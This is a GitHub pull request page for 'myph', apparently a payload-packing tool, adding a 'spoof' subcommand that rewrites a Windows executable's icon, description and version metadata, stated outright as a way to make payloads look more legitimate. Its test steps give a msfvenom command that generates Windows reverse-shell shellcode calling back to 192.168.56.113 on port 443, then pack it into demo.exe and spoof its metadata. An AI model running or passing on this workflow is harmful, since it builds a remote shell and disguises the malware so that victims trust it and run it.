Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat(cli): winres support to change metadata #3

Merged
merged 5 commits into from
Aug 10, 2023
Merged

Conversation

djnnvx
Copy link
Member

@djnnvx djnnvx commented Aug 10, 2023

image

This commit introduces support for a new subcommand: myph spoof.
It will edit the .rsrc section of a PE binary to set new data into it. You can change the icon of a program, its description or version. This should help make payloads look more legitimate.

  • added example in README
  • added example json file to serve as a test file

In order to test:

# compile a new version of myph
make

# generate a new shellcode 
msfvenom -p windows/x64/shell_reverse_tcp RHOST=192.168.56.113 LPORT=443 -f raw > msf.raw

# pack your shellcode into a new PE file 
./myph --shellcode msf.raw --out demo.exe

# run spoof command !
./myph spoof --pe demo.exe --file .github/test-data/example.json

# 
# you can now check properties on a windows environment
# 

Couple notes:

-> instead of using goversion & calling it externally, i decided to use a library, so that support is guaranteed as long as myph compiles on host machine
-> fromJson.go could be simplified a lot, but it should be done in another PR, when things are more tested and we better understand what features we want to keep actually.

@djnnvx djnnvx requested a review from jenaye August 10, 2023 21:16
@djnnvx djnnvx self-assigned this Aug 10, 2023
@djnnvx djnnvx merged commit a5858c7 into unstable Aug 10, 2023
@djnnvx djnnvx deleted the feat/winres-support branch August 11, 2023 10:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants